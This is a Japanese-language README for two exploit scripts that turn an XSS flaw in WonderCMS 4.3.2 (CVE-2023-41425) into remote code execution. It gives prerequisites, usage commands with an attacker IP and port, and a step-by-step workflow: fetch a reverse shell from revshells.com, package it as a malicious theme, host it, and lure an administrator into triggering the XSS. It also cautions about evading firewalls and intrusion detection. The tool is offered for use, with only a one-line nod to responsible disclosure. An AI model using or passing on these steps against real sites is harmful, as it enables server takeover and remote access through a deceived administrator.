
WonderCMS 4.3.2 XSSからRCEへのエクスプロイト
概要
これらのスクリプトは、WonderCMS 4.3.2 のXSS(クロスサイトスクリプティング)脆弱性を悪用して、リモートコード実行(RCE) を達成します。XSSペイロードが管理者によってトリガーされると、細工された悪意のあるテーマモジュールを利用して、ターゲットサーバーにリバースシェルを自動的にインストールします。リバースシェルは revshells.com から取得され、実行されることで攻撃者にサーバーへのリモートアクセスを提供します。
目次
前提条件
いずれかのスクリプトを正常に実行するには、以下のツールと条件が必要です。
- Bashシェル: 両方のスクリプトは、Bashシェルを使用するLinux環境向けに記述されています。
- netcat (nc): リバースシェル接続を待ち受けるために使用します。
- Python3: シンプルなPython HTTPサーバーを使用してXSSペイロードをホストします。
- WonderCMS 4.3.2: ターゲットは脆弱なバージョンのWonderCMSを実行している必要があります。
- 管理者の操作: ペイロードは管理者がXSSをトリガーする必要があり、それによりリバースシェルが実行されます。
- revshells.com: リバースシェルペイロードはrevshells.comから動的にダウンロードされます。
スクリプト1: 自動エクスプロイト
POC
Pasted image 20241010021603
特徴
このバージョンのエクスプロイトは、アクティブな nc リスナーを自動的に確認し、リバースシェルをダウンロードし、HTTPサーバーを起動し、ペイロードを送信し、管理者がリバースシェルをトリガーするのを待ちます。
- 自動リバースシェルセットアップ: revshells.comから事前生成されたリバースシェルをダウンロードします。
- XSSペイロード注入: ターゲットの問い合わせフォームにXSSペイロードを注入します。
- HTTPサーバー管理: リバースシェルペイロードをホストするためにPython HTTPサーバーを自動的に起動します。
- ncリスナーチェック: 処理を進める前にリスナーが実行中であることを確認します。
- ペイロード自動送信: ユーザーの操作なしでペイロードを自動的に送信します。
使用法
- 指定されたポートで
nc リスナーが実行中であることを確認します:
- 以下のコマンドでスクリプトを実行します:
./AUTO_CVE-2023-41425 <loginURL> <attacker_IP> <attacker_PORT>
例:
./AUTO_CVE-2023-41425 http://localhost/loginURL 192.168.29.165 5252
ワークフロー
- リバースシェルのダウンロード: スクリプトは
revshells.com からリバースシェルをダウンロードします。
- リバースシェルの修正: リバースシェルスクリプトが攻撃者のIPとポートで更新されます。
- ZIPペイロードの作成: リバースシェルを含むZIPファイルが作成されます。
- XSSペイロードの作成: リバースシェルをインストールするXSSペイロードが生成され、脆弱な問い合わせフォームに注入されます。
- HTTPサーバーの自動起動: スクリプトは悪意のあるペイロードを提供するためにPython HTTPサーバーを起動します。
- ペイロードの自動送信: XSSペイロードが管理者に自動的に送信されます。
スクリプト2: 手動エクスプロイト
POC
Pasted image 20241010013048
スクリプトによって提供されたエクスプロイトを「Website」フィールドで使用してください...
Pasted image 20241010013218
特徴
このバージョンでは、ユーザーが nc リスナーとXSSペイロードのトリガーを手動で管理する必要があります。自動処理が望ましくないシナリオに適しています。
- 手動リバースシェルセットアップ: ユーザーはリスナーが実行中であることを確認する責任があります。
- 手動XSSトリガー: スクリプトは管理者に送信する悪意のあるリンクを提供しますが、ペイロードは手動でトリガーする必要があります。
- HTTPサーバー管理: XSSペイロードをホストするためにPython HTTPサーバーを起動します。
使用法
- 指定されたポートで
nc リスナーが実行中であることを確認します:
- 以下のコマンドでスクリプトを実行します:
./CVE-2023-41425 <loginURL> <attacker_IP> <attacker_PORT>
例:
./CVE-2023-41425 http://localhost/loginURL 192.168.29.165 5252
ワークフロー
- リバースシェルのダウンロード:
revshells.com からリバースシェルをダウンロードします。
- リバースシェルの修正: リバースシェルを攻撃者のIPとポートで更新します。
- ZIPペイロードの作成: リバースシェルを含むZIPファイルを作成します。
- XSSペイロードの作成: リバースシェルをインストールするXSSペイロードを生成します。
- 悪意のあるリンクの表示: トリガーのために管理者に送信する必要があるリンクを表示します。
- HTTPサーバーの起動: ペイロードをホストするためにPython HTTPサーバーを起動します。
注意事項
- 管理者の操作: 両方のエクスプロイトは、WonderCMS管理者が脆弱なページにアクセスしてXSSペイロードをトリガーすることに依存しています。トリガーされると、リバースシェルが攻撃者のマシンとの間に確立されます。
- ファイアウォール/IDS/IPS: ファイアウォールや不審な活動をブロックまたは警告する可能性のある侵入検知システム(IDS)で保護された環境でこれらのエクスプロイトを実行する際は注意してください。
- 責任ある開示: ターゲットが脆弱であることがわかった場合は、常に倫理的なガイドラインに従い、適切な関係者に脆弱性を報告してください。
ライセンス